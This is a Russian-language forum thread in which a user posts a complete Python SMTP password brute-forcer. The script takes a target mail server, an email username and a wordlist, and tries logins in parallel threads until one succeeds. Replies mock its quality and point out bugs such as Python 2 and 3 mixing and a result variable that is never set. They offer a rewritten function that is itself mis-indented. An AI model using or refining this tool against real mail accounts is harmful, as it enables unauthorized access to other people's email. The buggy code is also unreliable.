Что нового

Script [Python] SMTP Bruteforcer

MRX 0

MRX

Advanced
23.05.2020
45
121
Мой скрипт smtp bruteforcer
оценивайте и жалуйтесь)

Python:
#!/usr/bin/env python

import threading
import smtplib
import getopt
import sys
import time

#global variables
server       = ""
port         = 0
wordlist     = ""
wordlist_len = 0
threads      = None
position     = 0
threads_count = 1
use_ssl      = False
found        = False
username     = ""
hit          = "" #result
passwords    = []
start_time   = time.time()
stop = False # to stop threads manually.
critical = threading.Lock() #like a critical section

# prototype funcs
def usage():
    print("")
    print("Usage :{0} -s [smpt_server] -p [smpt_port] --username=[email] --wordlist=[path] --threads=[threads]".format(sys.argv[0]))
    print("")
    print("-s, --server      \t\t - target server (ex: smtp.gmail.com)")
    print("-p, --port        \t\t - port number")
    print("-w, --wordlist    \t\t - password list path")
    print("-u, --username    \t\t - smtp username (email)")
    print("-t, --threads     \t\t - threads number (default: 1)")
    exit(-1)


def worker_thread():
    global server
    global port
    global pass_per_min
    global passwords
    global position
    global use_ssl
    global username
    global stop
    global critical
    global found

    while not (found or stop) and (position < wordlist_len):
        critical.acquire() # enter critical section
        password = passwords[position] #get a valid password from the list
        position += 1
        critical.release() # leave critical section
        #connect to server
        try:
            if use_ssl:
                client = smtplib.SMTP_SSL(server, port)
                client.ehlo()
            else:
                client = smtplib.SMTP(server, port)
            # authenticate
            try:
                login = client.login(username, password)
                found = True
                hit = password
            except smtplib.SMTPAuthenticationError: #failed
                pass
        except smtplib.SMTPConnectError:
            worker_thread() # reconnect and resume lmao, idk but if client disconnects then current password will skipped XD. Should break and stop ?
        except Exception as e: # other exceptions...
            print("[!!] Error: {0}".format(str(e)))
            stop = True
            
def stats_writer():
    global start_time
    global position
    global found
    global wordlist_len
    global stop
    while not (found or stop):
        print("Total: {0}| tesed: {1}| left: {2}| tested per min: {3}. \r".format(wordlist_len, position, wordlist_len-position, int(position/((time.time()-start_time)/60)))),
        time.sleep(1)
    if found:
        print ''
        print("[+] Found: {0}".format(hit))
          
def build_wordlist():
    global worldist
    global wordlist_len
    global passwords
  
    fp = open(str(wordlist), "r")
    lines = fp.readlines()
    fp.close()
  
    for line in lines:
        line = line.strip()
        if line != "":
            passwords.append(line)
            wordlist_len += 1
        pass


def main():
    global server
    global port
    global wordlist
    global threads
    global threads_count
    global use_ssl
    global username
    global stop
    # getopt
    try:
        opt, args = getopt.getopt(sys.argv[1:], "hs:p:t:w:u:", ["help","server","port","threads", "wordlist", "username",])
    except getopt.GetoptError as err:
        print(err)
        usage()

    for o,a in opt:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-s", "--server"):
            server = a
        elif o in ("-p", "--port"):
            port = int(a)
            if port == 25:
                use_ssl = False
            else:
                use_ssl = True # port 465
        elif o in ("-t", "--threads"):
            threads_count = int(a)
        elif o in ("-w", "--wordlist"):
            wordlist = str(a).strip()
        elif o in ("-u", "--username"):
            username = str(a).strip()
        else:
            assert False, "bad options"
    # check globals
    if (server is None) or (not port) or (wordlist is None) or (username is None):
        print("[!!] Error: an option is missing.")
        usage()
    # build wordlist
    print("[+] building wordlist...")
    build_wordlist()
    # create threads
    threads = [threading.Thread(target=worker_thread) for i in xrange(threads_count)]
    stats_thread = threading.Thread(target=stats_writer)
    #stats_thread.daemon = True #stop in end.
    # start threads
    print("[+] starting...")
    print("[+] Ctrl-C to stop (KeyboardInterrupt signal)") # I know, you don't know SIGNALS XD...
  
    stats_thread.start()
    for thread in threads:
        thread.start()

    # keep main thread up
    try:
        while not stop:
            time.sleep(1)
    except KeyboardInterrupt:
        stop = True
        print ""
        print("[-] aborting...")

if __name__ == '__main__':
    main()
 
30.06.2020
15
5
оценивайте и жалуйтесь)
Я не буду жаловаться )
Если-бы ты был рядом со мною, то за такой код я оторвал-бы твои уши )

Скажи, ты запускал этот скрипт ?
Достаточно беглого взгляда на скрипт, чтобы прийти к следующим заключениям:
  • Этот скрипт не работает.
  • Если этот скрипт работает, то это явление называется Божьим провидением (чудом)
  • Аккаунты MRX и id2323 - это мультиаккаунты одного человека.

Теперь критика:
В роли интерпретатора скрипта ты используешь третью версию Python. При этом, в твоём коде присутствует встроенная во вторую версию python функция xrange. В третьей версии эта функция была упразднена и заменена на функцией range. Следовательно, код должен заканчиваться ошибкой.

Вторая особенность, которая не может оставить равнодушным: просто запредельно огромное объявление глобальных переменных. Ты попросту злоупотребляешь функцией "global".
Этот факт говорит о низком уровне программиста.
Информатика и прораммирование - это точные дисциплины. В коде нужно использовать как можно меньше двусмысленностей. Твой код аналогичен параграфу из учебника истории, но никак не информатики.

Практически весь код вызывает недоумение.
Например, вот такая конструкция:
Python:
def build_wordlist():
    global worldist
    global wordlist_len
    global passwords

    fp = open(str(wordlist), "r")
    lines = fp.readlines()
    fp.close()

    for line in lines:
        line = line.strip()
        if line != "":
            passwords.append(line)
            wordlist_len += 1
        pass
В этой функции ты объявил переменную fp с целью прочитать строки из некоего текстового файла и составить из строк ... список passwords , а также посчитать количество паролей.
Хмм-м-м, но в начале скрипта ты объявляешь переменную
wordlist = "".
Так что такое wordlist ? Какое-то пустое место между двумя кавычками или текстовый файл ?

Я первый раз вижу вот такую конструкцию.
Мне кажется, что лучше переписать функцию build_wordlist примерно следующим образом:
Python:
def build_wordlist(files):
    with open(files, 'r+') as fp:
        for line in fp:
        line = line.strip()
        if line != "":
            passwords.append(line)
            wordlist_len += 1
Переменной "wordlist" в начале скрипта нужно задать имя текстового файла, а не что-то непонятное между двух кавычек.
Несмотря на простоту скрипта, ты наворотил много лишнего.
Не хочется тебя огорчать, но образ твоего мышления желает лучшего.
Ты как-то странно мыслишь.

Если ты уже проштудировал книгу Златопольского "Основы программирования на языке Python", то вот тебе следующая книжка:
Д.Ю. Фёдоров. "Основы программирования на языке Python".
Две книжки с одинаковым названием, но авторы разные и основы програмирования преподносятся по-разному.

  • Если эти две книги не станут твоими настольными книжками,
  • если не прорешаешь каждую задачку из этих книжек,
  • то Python ты знать не будешь, кто-бы тебе что не говорил.
 
Последнее редактирование:
30.06.2020
15
5
не по теме автора, но я не нашел аккаунта id2323
Призовые места в тесте на внимательность заняли пользователи со следующими никнеймами:
1 место - пользователь id2746
2 место - пользователь Vander
3 и последующие места - разделили между собой пользователи, входящие в список с названием "никто".

Призов не будет.
Звучат фанфары.
 
Верх Низ